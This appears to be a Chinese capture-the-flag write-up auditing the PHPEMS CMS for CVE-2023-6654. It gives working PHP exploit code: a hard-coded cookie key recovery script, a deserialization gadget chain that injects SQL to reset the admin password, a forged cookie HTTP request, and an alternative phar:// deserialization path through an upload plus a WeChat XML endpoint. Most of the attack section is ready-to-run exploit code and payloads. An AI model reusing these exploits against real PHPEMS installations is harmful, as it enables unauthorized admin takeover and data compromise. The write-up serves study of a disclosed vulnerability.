前言
这是2024西湖论剑的一道1解题由EDI安全的大牛子全场唯一解出,当时还没仔细看的时候信心满满,觉得小小PHP真随便审吧,结果又被现实给打爆了,这个CMS整体算是审了快五个小时了,真正的学习完后真的很佩服出了这个题的师傅以及挖出该CVE的师傅,确实真的很强,学到了沃日
题目信息
flag2,登录管理员后台,看用户列表就有了。这里是 flag2 提交处,flag格式为 DASCTF2{***}, 只提交括号内的字符串。PHPEMS源码下载分流:链接:https://pan.baidu.com/s/1qK5ox8s4zknefQGsxSWy2g?pwd=DASC提取码:DASC--来自百度网盘超级会员V5的分享
hint1: 1. 管理员账号在靶机里已经改过了,教师账号也删了,不要刻舟求剑,自己想其他办法吧,谢谢。
2. CVE-2023-6654
审计
路由分析
直接看如何加载类的
先引入几个模块和配置
/lib/config.inc.php
(配置)
/vendor/vendor/autoload.php
(项目没有 删掉了)
然后调用run()
跟进make
方法
所以make
方法就是加载参数.cls.php这个类,并且进行初始化(调用_init()
),传入ev
这个类后还默认初始化了strings
往下就是传参进行具体的控制器的映射了
漏洞分析
SQL注入
直接跟index.php的流程可以发现他在没有Cookie的情况下会进行设置sessionid
先看栈堆
1 2 3 4 5 6 7
| session.cls.php:163, PHPEMS\session->setSessionUser() session.cls.php:85, PHPEMS\session->getSessionId() session.cls.php:18, PHPEMS\session->__construct() init.cls.php:54, PHPEMS\ginkgo::make() app.php:13, PHPEMS\app->__construct() init.cls.php:109, PHPEMS\ginkgo->run() index.php:8, {main}()
|
其实就是默认会有一个加解密Cookie的流程,这个session类是专门处理cookie的,他每次在实例化的时候都会运行到getSessionId
可以发现他是传了getClientIp()
方法作为数组的某个键值对作为参数的,看下getClientIp
方法
可控
接下来再去看setSessionUser
其实看下来发现就sessionip可控吧
但是这里有一个$key = CS;
密钥加解密,可以找到在配置文件中找到硬编码的key
然后尝试通过该硬编码尝试对Cookie进行解密
此时我们在来看看encode和decode规律
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| <?php
define('CS','1hqfx6ticwRxtfviTp940vng!yC^QK^6');
function encode($info) { $info = serialize($info); $key = CS; $kl = strlen($key); echo $kl; echo "\n"; $il = strlen($info); echo $il; for($i = 0; $i < $il; $i++) { $p = $i%$kl; echo $p."fff".$i."\n"; $info[$i] = chr(ord($info[$i])+ord($key[$p])); } return urlencode($info); }
function decode($info) { $key = CS; $info = urldecode($info); $kl = strlen($key); $il = strlen($info); for($i = 0; $i < $il; $i++) { $p = $i%$kl; $info[$i] = chr(ord($info[$i])-ord($key[$p])); } $info = unserialize($info); return $info; }
$info="%92%A2%A4%A0%F3%A9%AE%A2%9D%99%C5%DD%E7%D9%DF%D8%C2%D9%9DVk%E9%A8%9AS%B3e%94%B3%AF%8F%9B%94%99%A8%CB%D9%97%AB%9A%C4%AF%82%AF%D6%9E%D8%CE%87%D2%9Df%92%AD%A2%CBR%DD%A8%80%8C%BE%98ok%8A%E4%CB%EB%A9%DD%D8%D1%E0%C2%9A%AF%D9%B0%A2%8E%92jfg%A4%9E%95Q%A7t%80%8C%BE%98gg%A2%93%D9%DD%A9%E7%D2%D2%E5%C6%E1%E1%CB%E2%D2%C1%D9%ADVk%DF%A8%98X%A9y%96%88%82%94ng%A3%EE"; $inffo = ["sessionid" => "6bd1ec17eaa71a807b8be3bd2b74d1de","sessionip"=> "127.0.0.1","sessiontimelimit"=>"1706877686"]; encode($inffo);
?>
|
关键在与for循环,encode方法就是将明文每32位+key的ascii输出得到密文,decode就是将密文每32位-key的ascii输出 得到明文,就相当于是a+b=c ,key是等于密文-明文
所以就可以逆推出密文,因为我们可以控制的IP,那我们就可以通过密文和明文的比对来吧Key给逆推出来,首先先伪造出127.0.0.1
X-FORWARDED-FOR: 127.0.0.1
明文就为
1
| s:9:"sessionip";s:9:"127.0.0.1";
|
那我们就要选取密文了
得到的密文为
1
| %2592%25A2%25A4%25A0%25F3%25A9%25AE%25A2%259D%2599%25C5%25DD%25E7%25D9%25DF%25D8%25C2%25D9%259DVk%25E9%25A8%259AS%25B3e%25C0%2582%25AD%2591kf%259F%25D4%259B%25A8m%25DA%25A0%25C4%25AA%2586%25DA%25A4%259D%25D8%25A0%25B5%25D4%259Cl%2591%25D7%25D0%25A0V%25B1%25A9%2580%258C%25BE%2598ok%258A%25E4%25CB%25EB%25A9%25DD%25D8%25D1%25E0%25C2%259A%25AF%25D9%25B0%25A2%258E%2592jfg%25A4%259E%2595Q%25A7t%2580%258C%25BE%2598gg%25A2%2593%25D9%25DD%25A9%25E7%25D2%25D2%25E5%25C6%25E1%25E1%25CB%25E2%25D2%25C1%25D9%25ADVk%25DF%25A8%2598X%25A9z%258E%2584%257B%2590ij%25A3%25EE
|
先URL解码一次
1
| %92%A2%A4%A0%F3%A9%AE%A2%9D%99%C5%DD%E7%D9%DF%D8%C2%D9%9DVk%E9%A8%9AS%B3e%C0%82%AD%91kf%9F%D4%9B%A8m%DA%A0%C4%AA%86%DA%A4%9D%D8%A0%B5%D4%9Cl%91%D7%D0%A0V%B1%A9%80%8C%BE%98ok%8A%E4%CB%EB%A9%DD%D8%D1%E0%C2%9A%AF%D9%B0%A2%8E%92jfg%A4%9E%95Q%A7t%80%8C%BE%98gg%A2%93%D9%DD%A9%E7%D2%D2%E5%C6%E1%E1%CB%E2%D2%C1%D9%ADVk%DF%A8%98X%A9z%8E%84%7B%90ij%A3%EE
|
这个就是加密过后的结果,那么我们就要写出逆推脚本,来获取32位可控明文和密文来进行key的推算
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
|
function reverse($payload1,$payload2) { $il = strlen($payload1); $key= ""; $kl = 32; for($i = 0; $i < $il; $i++) { $p = $i%$kl; $key .= chr(ord($payload1[$i])-ord($payload2[$p])); } return $key; } $info="%92%A2%A4%A0%F3%A9%AE%A2%9D%99%C5%DD%E7%D9%DF%D8%C2%D9%9DVk%E9%A8%9AS%B3e%94%B3%AF%8F%9B%94%99%A8%CB%D9%97%AB%9A%C4%AF%82%AF%D6%9E%D8%CE%87%D2%9Df%92%AD%A2%CBR%DD%A8%80%8C%BE%98ok%8A%E4%CB%EB%A9%DD%D8%D1%E0%C2%9A%AF%D9%B0%A2%8E%92jfg%A4%9E%95Q%A7t%80%8C%BE%98gg%A2%93%D9%DD%A9%E7%D2%D2%E5%C6%E1%E1%CB%E2%D2%C1%D9%ADVk%DF%A8%98X%A9y%96%88%82%94ng%A3%EE"; $info = urldecode($info); $info = urldecode($info); $info = substr($info,64,32); echo reverse($info,':"sessionip";s:9:"127.0.0.1";s:1');
|
但是远程的靶机上的key不对,所以一样办法重新逆一下得到远程的key为 4b394f264dfcdc724a06b9b05c1e59ed
由于现在主要的目标就是去进入后台,那么我们就要去寻找sql注入的点,并且这个sql注入是包含在了反序列化漏洞中的,于是就找到了Session::__destruct
中的执行sql语句的点
看上去感觉是预编译了,但是这也就是作者牛逼的地方了吧,首先先跟进makeUpdate
方法(真的是恰好就是更新语句)
代码比较多,但是都得看,所以贴出代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| public function makeUpdate($args,$tablepre = NULL) { if(!is_array($args))return false; if($tablepre === NULL)$tb_pre = $this->tablepre; else $tb_pre = $tablepre; $tables = $args[0]; $args[1] = $this->_makeDefaultUpdateArgs($tables,$args[1]); if(is_array($tables)) { $db_tables = array(); foreach($tables as $p) { $db_tables[] = "{$tb_pre}{$p} AS $p"; } $db_tables = implode(',',$db_tables); } else $db_tables = $tb_pre.$tables; $v = array();
$pars = $args[1]; if(!is_array($pars))return false; $parsql = array(); foreach($pars as $key => $value) { $parsql[] = $key.' = '.':'.$key; if(is_array($value))$value = serialize($value); $v[$key] = $value; } $parsql = implode(',',$parsql);
$query = $args[2]; if(!is_array($query))$db_query = 1; else { $q = array(); foreach($query as $p) { $q[] = $p[0].' '.$p[1].' '; if(isset($p[2])) $v[$p[2]] = $p[3]; } $db_query = '1 '.implode(' ',$q); } if(isset($args[3])) $db_groups = is_array($args[3])?implode(',',$args[3]):$args[3]; else $db_groups = ''; if(isset($args[4])) $db_orders = is_array($args[4])?implode(',',$args[4]):$args[4]; else $db_orders = ''; if(isset($args[5])) $db_limits = is_array($args[5])?implode(',',$args[5]):$args[5]; else $db_limits = ''; if($db_limits <span style="font-weight: bold;" class="mark"> false && $db_limits !</span> false)$db_limits = $this->_mostlimits; $db_groups = $db_groups?' GROUP BY '.$db_groups:''; $db_orders = $db_orders?' ORDER BY '.$db_orders:''; $sql = 'UPDATE '.$db_tables.' SET '.$parsql.' WHERE '.$db_query.$db_groups.$db_orders.' LIMIT '.$db_limits; return array('sql' => $sql, 'v' => $v); }
|
我们可以发现传入的数组虽然有用但是不可控,但是可以发现$db_tables
属性是该类初始化的赋值的,那么通过反序列化就可以进行初始化这个属性从而达到一个sql注入的效果(这种sql我感觉还是非常牛逼的,因为无视了预编译吧,直接赋值拼接的)
所以EXP参考EDI的EXP(让我写真写不出来)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| <?php namespace PHPEMS{ class session{ public function __construct() { $this->sessionid="1111111"; $this->pdosql= new pdosql(); $this->db= new pepdo(); } } class pdosql { private $db ; public function __construct() { $this->tablepre = 'x2_user set userpassword="e10adc3949ba59abbe56e057f20f883e" where username="peadmin";#--'; $this->db=new pepdo(); } } class pepdo { private $linkid = 0; } } namespace { $info = "%2595%259Cfs%25AF%25D9lon%2586%25D9%25C8%25D7%25D6%25A0%25A1%25A2%25CA%2594X%259D%25AC%259Ccg%259DS%2596i%259B%259B%25C7%2599%2598kp%2595%259Eg%2598%2598%25C7%25CA%259B%259A%2594lid%2593%2592%259B%2594i%25C3fh%2598c%2587p%25AC%259F%259Dn%2584%25A6%259E%25A7%25D9%259B%25A5%25A2%25CD%25D6%2585%259F%25D6qkn%2583ah%2599g%2592%255Ee%2591b%2587p%25AC%259F%2595j%259CU%25AC%2599%25D9%25A5%259F%25A3%25D2%25DA%25CC%25D1%25C8%25A3%259B%25A1%25CA%25A4X%259D%25A2%259Cal%2593g%259Bhk%2595%259Bm%259D%25B0"; $info = "%2592%25A2%25A4%25A0%25F3%25A9%25AE%25A2%259D%2599%25C5%25DD%25E7%25D9%25DF%25D8%25C2%25D9%259DVk%25E9%25A8%259AS%25B3e%258F%258A%25AE%25BFii%2599%25D4%259C%25DAl%25A5%259A%2599%25A8%25B8%25AD%25DA%259E%25A7%2599%2584%25D6%259E%2595d%25DB%25A1%25CBU%25ABt%2580%258C%25BE%2598ok%258A%25E4%25CB%25EB%25A9%25DD%25D8%25D1%25E0%25C2%259A%25AF%25D9%25B0%25A2%258E%2592jfg%25A4%259E%2595Q%25A7t%2580%258C%25BE%2598gg%25A2%2593%25D9%25DD%25A9%25E7%25D2%25D2%25E5%25C6%25E1%25E1%25CB%25E2%25D2%25C1%25D9%25ADVk%25DF%25A8%2598X%25A9y%2594%2589%257D%2594ia%25A3%25EE"; $info = urldecode($info); $info = urldecode($info); $info = substr($info,64,32); function reverse($payload1,$payload2) { $il = strlen($payload1); $key= ""; $kl = 32; for($i = 0; $i < $il; $i++) { $p = $i%$kl; $key .= chr(ord($payload1[$i])-ord($payload2[$p])); } return $key; } define(CS1,reverse($info, ':"sessionip";s:9:"127.0.0.1";s:1')); echo CS1; function encode($info) { $info = serialize($info); $key = CS1; $kl = strlen($key); $il = strlen($info); for($i = 0; $i < $il; $i++) { $p = $i%$kl; $info[$i] = chr(ord($info[$i])+ord($key[$p])); } return urlencode($info); } $session = new \PHPEMS\session(); $array = array("sessionid"=>"123123123", $session); echo serialize($array)."\n"; echo(urlencode(encode($array)))."\n"; }
|
然后得到Cookie
1
| %2595%259Ces%25AF%25D9lon%2586%25D9%25C8%25D7%25D6%25A0%25A1%25A2%25CA%2594X%259D%25AC%259Cio%2585b%2597hj%2597%2597e%2594f%255Bo%25CFlfo%25B3%25A0%2594%2598%259DY%2582%257C%25B1u%2583%25B5%2595%25D5%2595%25A8%25D6%259A%25D4%25A3%255B%259F%2597n%25DD%25A6sm%25A0T%25A9%2599%25D7%25D9%25CC%25D3%25D1%25A0%2596V%259C%25A3p%2599s%2584af%2594b%2596fj%2587%259F%25A7%259CisV%25D6%2596%25A5%25A7%25D5%25D2%2585%259F%25B2qcg%259BR%2586%25AA%2589%25A7%257D%2588%25BF%25A1%25C9%25A4%25AC%25D6%25D0V%259Ces%25AF%25D9lgk%259E%2588c%25B4%25AB%2587w%2581%25B4%258C%25A6%25C6%25A8%25D5%25A1%25A1c%2595%25C7Wt%25B4%259Ee%2594m%255B%2584%25AE%2582%257B%2581%25B7%25C2%25D3%25C9%25D3%259B%25A1V%259Bap%25DD%25AC%259Cbe%259DSe%2585%2581%25B5%25A9%2581%25B5%258F%25A9%2599%25D6%2596%25A54%25D0%25CF%25D1%25CF%25CC%259BTo%25CAjf%259D%25B6%25D5jm%259DS%25D9%2596%259B%25D1%25C9%25A4%25D4%2598%255Bo%25D9lnl%259E%2588%25DB%2596%25C2%25AC%25A5%2599%25D3P%25A9%25C7%25AD%2582%25A5%25A8%25C8%25A3%25D5%2596%25AC%25D8%25DB%25A3%25D4%2597vV%25CBcf%2595%25C8%25C9%2596%259D%2597p%2594%2595%2596i%2597%25C4%259B%25C7ek%25C8a%259Al%259F%2597%2594%259A%259Akl%2599%2588R%25AD%259C%25C9%25D8%25C8%2584%25D8%25AA%2597%25A6%25CF%2591%25A3%25C7v%2584%25A0%259A%25C4%2595%25D2%259E%25A7%2587%259FW%258F%2560%255Bo%25E3%25A5pf%259E%2588%25C7%25C6%2585r%2581n%2592bp%2584%2589%25AA%2580z%25B0%2584%25C1%25A5%259E%25D5%25C8%25A3%2584mjn%25E1%25A5pf%2594%25A0%2585d%25B3%257F%2582y%25AE%2583%2592%25D2%259E%25D2%2594%25A4c%259D%25CE%25A3%25A4%25CE%25C8V%259D%259Csd%25A1%25AF%25B3%25B1
|
由于是以这种形式传的Cookie
所以报文为
1 2 3 4 5 6 7 8 9
| GET /index.php HTTP/1.1 Host: exam.cyan.wetolink.com Accept: */* Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 X-FORWARDED-FOR: 127.0.0.1 Cookie: exam_currentuser=%2595%259Ces%25AF%25D9lon%2586%25D9%25C8%25D7%25D6%25A0%25A1%25A2%25CA%2594X%259D%25AC%259Cio%2585b%2597hj%2597%2597e%2594f%255Bo%25CFlfo%25B3%25A0%2594%2598%259DY%2582%257C%25B1u%2583%25B5%2595%25D5%2595%25A8%25D6%259A%25D4%25A3%255B%259F%2597n%25DD%25A6sm%25A0T%25A9%2599%25D7%25D9%25CC%25D3%25D1%25A0%2596V%259C%25A3p%2599s%2584af%2594b%2596fj%2587%259F%25A7%259CisV%25D6%2596%25A5%25A7%25D5%25D2%2585%259F%25B2qcg%259BR%2586%25AA%2589%25A7%257D%2588%25BF%25A1%25C9%25A4%25AC%25D6%25D0V%259Ces%25AF%25D9lgk%259E%2588c%25B4%25AB%2587w%2581%25B4%258C%25A6%25C6%25A8%25D5%25A1%25A1c%2595%25C7Wt%25B4%259Ee%2594m%255B%2584%25AE%2582%257B%2581%25B7%25C2%25D3%25C9%25D3%259B%25A1V%259Bap%25DD%25AC%259Cbe%259DSe%2585%2581%25B5%25A9%2581%25B5%258F%25A9%2599%25D6%2596%25A54%25D0%25CF%25D1%25CF%25CC%259BTo%25CAjf%259D%25B6%25D5jm%259DS%25D9%2596%259B%25D1%25C9%25A4%25D4%2598%255Bo%25D9lnl%259E%2588%25DB%2596%25C2%25AC%25A5%2599%25D3P%25A9%25C7%25AD%2582%25A5%25A8%25C8%25A3%25D5%2596%25AC%25D8%25DB%25A3%25D4%2597vV%25CBcf%2595%25C8%25C9%2596%259D%2597p%2594%2595%2596i%2597%25C4%259B%25C7ek%25C8a%259Al%259F%2597%2594%259A%259Akl%2599%2588R%25AD%259C%25C9%25D8%25C8%2584%25D8%25AA%2597%25A6%25CF%2591%25A3%25C7v%2584%25A0%259A%25C4%2595%25D2%259E%25A7%2587%259FW%258F%2560%255Bo%25E3%25A5pf%259E%2588%25C7%25C6%2585r%2581n%2592bp%2584%2589%25AA%2580z%25B0%2584%25C1%25A5%259E%25D5%25C8%25A3%2584mjn%25E1%25A5pf%2594%25A0%2585d%25B3%257F%2582y%25AE%2583%2592%25D2%259E%25D2%2594%25A4c%259D%25CE%25A3%25A4%25CE%25C8V%259D%259Csd%25A1%25AF%25B3%25B1 Referer: http://phpems.xyz/index.php User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
|
Phar(非预期)
1
| app/weixin/controller/index.api.php中的file_getcontents
|
直接去访问下这股路由发现返回了以下信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <xml> <ToUserName> <![CDATA[]]> </ToUserName> <FromUserName> <![CDATA[]]> </FromUserName> <MsgType> <![CDATA[text]]> </MsgType> <Content> <![CDATA[信息已接收]]> </Content> <CreateTime> <![CDATA[1707039415]]> </CreateTime> <FuncFlag> <![CDATA[0]]> </FuncFlag> </xml>
|
其实可以说明是接受XML数据的了,不过还是去看看代码
跟踪getRev()
直接接收XML数据并且进行数组处理
获取Type
其实都是XML格式的子集,所以很轻松的拿到需要传参的数据,构造请求报文为如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <xml> <ToUserName> zjacky </ToUserName> <FromUserName> zjacky </FromUserName> <MsgType> image </MsgType> <Content> zjacky </Content> <PicUrl> phar:///etc/passwd </PicUrl> <CreateTime> <![CDATA[1707039415]]> </CreateTime> <FuncFlag> xxx </FuncFlag> </xml>
|
紧接着就是找上传点了,上传点位于
1
| app/document/controller/fineuploader.api.php
|
直接进行上传,构造上传报文
发现有返回地址,非常方便
1
| {"success":true,"thumb":"files\/attach\/images\/content\/20240204\/17070404291915.jpg","title":"1.jpg"}
|
然后生成下phar上传即可触发反序列化了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| <?php namespace PHPEMS{ class session{ public function __construct() { $this->sessionid="1111111"; $this->pdosql= new pdosql(); $this->db= new pepdo(); } } class pdosql { private $db ; public function __construct() { $this->tablepre = 'x2_user set userpassword="e10adc3949ba59abbe56e057f20f883e" where username="peadmin";#--'; $this->db=new pepdo(); } } class pepdo { private $linkid = 0; } } namespace { $o = new \PHPEMS\session(); $filename = '111.phar'; file_exists($filename) ? unlink($filename) : null; $phar=new Phar($filename); $phar->startBuffering(); $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($o); $phar->addFromString("foo.txt","bar"); $phar->stopBuffering(); system('copy 111.phar 111.gif'); }
?>
|
然后进到后台管理拿到第二个flag
其实有个RCE,不过参考下文章吧,我就没去看那个了
总结
整体上这个CMS还是非常值得去复现学习的,因为他的框架稍乱,引用也难受,但也是一种挑战了,真强啊这些师傅
参考链接
https://mp.weixin.qq.com/s/P7akQHPp4saCl16E0Kw4tA